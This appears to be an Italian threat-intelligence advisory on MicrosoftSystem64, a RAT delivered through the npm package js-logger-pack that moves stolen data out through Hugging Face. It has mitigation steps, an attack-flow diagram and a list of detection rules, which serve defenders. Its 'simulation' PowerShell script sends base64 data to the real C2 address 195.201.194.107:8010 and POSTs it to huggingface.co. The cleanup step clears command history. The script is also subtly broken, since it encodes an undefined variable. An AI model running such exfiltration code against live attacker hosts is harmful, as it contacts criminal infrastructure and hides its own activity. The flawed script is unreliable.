MicrosoftSystem64: Un RAT della Catena di Fornitura che Esfiltra Dati a Hugging Face
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Un pacchetto npm dannoso chiamato js-logger-pack è stato utilizzato per distribuire un’applicazione Node.js a singolo eseguibile cross-platform chiamata MicrosoftSystem64. Il binario funziona come un trojan di accesso remoto completo, capace di rubare estensioni di portafogli di criptovaluta, credenziali memorizzate nei browser, chiavi SSH, dati di sessione di Telegram e screenshot. Le informazioni rubate sono esfiltrate attraverso dataset privati di Hugging Face utilizzando un token API compromesso, mentre il traffico di comando e controllo è gestito attraverso un server WebSocket a 195.201.194.107:8010. La campagna è stata collegata a un attore di minacce associato alla Corea del Nord che ruota gli account npm e Hugging Face per mantenere l’accesso e sostenere le operazioni.
Indagine
SafeDep ha analizzato il campione di malware e ha estratto la configurazione cifrata in XOR, l’endpoint di comando e controllo, il token Hugging Face e una lista di più di 80 ID di estensioni di portafogli mirati. I ricercatori hanno anche esaminato i metodi di persistenza utilizzati su sistemi Windows, macOS e Linux e hanno ricostruito l’intera catena di esfiltrazione coinvolgente le API di Hugging Face. La validazione in tempo reale del 28 maggio ha confermato che i dataset attivi stavano ancora ricevendo screenshot e archivi di credenziali presi da vittime reali.
Mitigazione
Le organizzazioni dovrebbero rimuovere immediatamente qualsiasi pacchetto npm dannoso noto legato a questa campagna, ruotare le credenziali compromesse, le chiavi SSH e i semi di portafogli di criptovaluta, e monitorare l’attività non autorizzata dell’API Hugging Face. Le protezioni degli endpoint dovrebbero rilevare il nome del processo MicrosoftSystem64 e qualsiasi creazione di attività programmata correlata. I controlli di rete dovrebbero anche bloccare il traffico in uscita all’indirizzo IP identificato di comando e controllo e limitare l’accesso imprevisto agli endpoint di Hugging Face da binari sconosciuti.
Risposta
Se MicrosoftSystem64 viene rilevato, isolare immediatamente il sistema interessato, terminare il processo dannoso, rimuovere i file installati e le attività programmate, e revocare il token Hugging Face compromesso. Gli investigatori dovrebbero raccogliere le prove forensi dai log e da qualsiasi percorso di dati esfiltrati, quindi notificare alle parti interessate e aggiornare gli strumenti di scansione delle dipendenze per bloccare i pacchetti dannosi nelle build future.
graph TB %% Definizione classi classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9966 classDef infra fill:#ff9999 %% Nodi strumenti e malware tool_npm[“<b>Strumento</b> – pacchetto npm `js-logger-pack`<br/><b>Descrizione</b> Contiene binario SEA `MicrosoftSystem64`”] class tool_npm tool malware_binary[“<b>Malware</b> – Binario `MicrosoftSystem64`<br/><b>Descrizione</b> ELF multipiattaforma impacchettato come SEA Node.js con configurazione XOR cifrata”] class malware_binary malware infra_c2[“<b>Infrastruttura</b> – C2 WebSocket<br/>IP 195.201.194.107 porta 8010”] class infra_c2 infra %% Nodi azione init_supply_chain[“<b>Azione</b> – <b>T1195.001 Compromissione della supply chain</b><br/>L’attaccante pubblica il pacchetto npm malevolo `js-logger-pack` contenente il binario SEA”] class init_supply_chain action execution_ingress[“<b>Azione</b> – <b>T1105 Trasferimento di strumenti in ingresso</b><br/>La vittima installa il pacchetto che esegue il binario Node.js incluso”] class execution_ingress action defense_obfuscation[“<b>Azione</b> – <b>T1027.009 / T1027.004 File o informazioni offuscate</b><br/>Il binario ELF è impacchettato come SEA con configurazione XOR cifrata”] class defense_obfuscation action persistence_mechanisms[“<b>Azione</b> – <b>T1547.001 / T1547.014 / T1543.001 / T1543.002 Persistenza</b><br/>Crea chiavi Run nel Registro, Active Setup, LaunchAgent macOS e servizio systemd Linux”] class persistence_mechanisms action defense_hide[“<b>Azione</b> – <b>T1564.014 Offuscamento artefatti</b> & <b>T1497.002 Evasione sandbox</b><br/>Usa attributi estesi e controlli sull’attività utente”] class defense_hide action priv_esc[“<b>Azione</b> – Escalation privilegi tramite meccanismi di persistenza<br/>Riutilizzo di chiave Run o servizio per ottenere privilegi elevati”] class priv_esc action cred_browser[“<b>Azione</b> – <b>T1217 Scoperta informazioni browser</b> & <b>T1555.003 Credenziali browser</b><br/>Esfiltra dati da Chrome, Edge, Firefox e wallet crypto”] class cred_browser action keylogging[“<b>Azione</b> – <b>T1056.001 Keylogging</b><br/>Keylogger nativo registra tasti e clipboard su Windows/macOS/Linux”] class keylogging action collection_clip_video[“<b>Azione</b> – <b>T1115 Dati clipboard</b> & <b>T1125 Cattura video</b><br/>Screenshot ogni 60s e monitoraggio clipboard”] class collection_clip_video action collection_db[“<b>Azione</b> – <b>T1213.006 Dati da repository informativi: database</b><br/>Estrae DB browser, chiavi SSH, Telegram tdata e altri dati”] class collection_db action c2_communication[“<b>Azione</b> – <b>T1105 Comunicazione C2</b><br/>Connessione WebSocket C2 su 195.201.194.107:8010”] class c2_communication action exfiltration_hf[“<b>Azione</b> – Esfiltrazione via API HuggingFace<br/>Carica i dati rubati sull’account `jpeek998`”] class exfiltration_hf action impact_resource[“<b>Azione</b> – <b>T1496.001 Hijacking risorse</b><br/>Furto di credenziali di wallet crypto per uso illecito”] class impact_resource action %% Flusso tool_npm –>|consegna| malware_binary malware_binary –>|abilita| init_supply_chain init_supply_chain –>|porta a| execution_ingress execution_ingress –>|porta a| defense_obfuscation defense_obfuscation –>|porta a| persistence_mechanisms persistence_mechanisms –>|abilita| defense_hide defense_hide –>|abilita| c2_communication persistence_mechanisms –>|abilita| priv_esc priv_esc –>|porta a| cred_browser cred_browser –>|porta a| keylogging keylogging –>|porta a| collection_clip_video collection_clip_video –>|porta a| collection_db collection_db –>|porta a| c2_communication c2_communication –>|usa| infra_c2 c2_communication –>|porta a| exfiltration_hf exfiltration_hf –>|risultato| impact_resource
Flusso di Attacco
Rilevamenti
Possibili Punti di Persistenza [ASEPs – Software/NTUSER Hive] (via registry_event)
Visualizza
Possibilità di Esecuzione Tramite Linee di Comando PowerShell Nascoste (via cmdline)
Visualizza
File Linux .desktop Creato in Cartella Insolita (via file_event)
Visualizza
File Nascosto Creato su Host Linux (via file_event)
Visualizza
IOC (HashSha256) per rilevare: All’interno di MicrosoftSystem64: Un RAT della Catena di Fornitura che esfiltra verso HuggingFace
Visualizza
IOC (SourceIP) per rilevare: All’interno di MicrosoftSystem64: Un RAT della Catena di Fornitura che esfiltra verso HuggingFace
Visualizza
IOC (DestinationIP) per rilevare: All’interno di MicrosoftSystem64: Un RAT della Catena di Fornitura che esfiltra verso HuggingFace
Visualizza
Rilevamento di Keylogging SetWindowsHookEx da Malware [Windows Sysmon]
Visualizza
Rilevamento di RAT MicrosoftSystem64 su Sistemi Linux [Creazione di Processi Linux]
Visualizza
Esfiltrazione di dati da RAT Microsoft System64 tramite HuggingFace [Connessione di Rete Windows]
Visualizza
Rilevamento dell’Esecuzione di RAT MicrosoftSystem64 e Comando PowerShell [Creazione di Processi Windows]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il controllo pre‑volo di Telemetria & Baseline deve essere stato superato.
Razionale: Questa sezione detaglia l’esecuzione precisa della tecnica di avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirano a generare l’esatta telemetria prevista dalla logica di rilevamento.
-
Narrativa di Attacco & Comandi:
Un attaccante ha già installato il “Microsoft System64 RAT” sull’host Windows compromesso. Per esfiltrare i dati rubati, il RAT esegue due azioni in parallelo:- Canale C2: Apre un socket TCP grezzo al server dannoso codificato
195.201.194.107sulla porta8010e trasmette dati codificati in base‑64. - Esfiltrazione HTTP Nascosta: Invia una richiesta
POSTHTTPS ahttps://huggingface.co/api/uploadcon gli stessi dati incorporati nel corpo della richiesta, usando un user‑agent dall’aspetto legittimo per fondersi con il traffico normale.
Entrambe le azioni generano eventi del firewall in uscita che corrispondono alla regola Sigma.
- Canale C2: Apre un socket TCP grezzo al server dannoso codificato
-
Script di Test di Regressione:
# ------------------------------------------------- # Simulazione di Esfiltrazione RAT System64 (PowerShell) # ------------------------------------------------- # 1. Preparare dati dummy di esfiltrazione $dati = "DatiSegreti$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. Inviare dati tramite TCP grezzo (C2) $ipC2 = "195.201.194.107" $portaC2 = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($ipC2, $portaC2) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] Esfiltrazione TCP inviata a $ipC2:$portaC2" } catch { Write-Error "[-] Connessione TCP fallita: $_" } # 3. Inviare dati tramite HTTPS a HuggingFace (esfiltrazione nascosta) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] Esfiltrazione HTTP inviata a huggingface.co" } catch { Write-Error "[-] Richiesta HTTP fallita: $_" } -
Comandi di Pulizia:
# Rimuovere qualsiasi artefatto di rete residuo Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Cancellare la cronologia di PowerShell (opzionale) Clear-History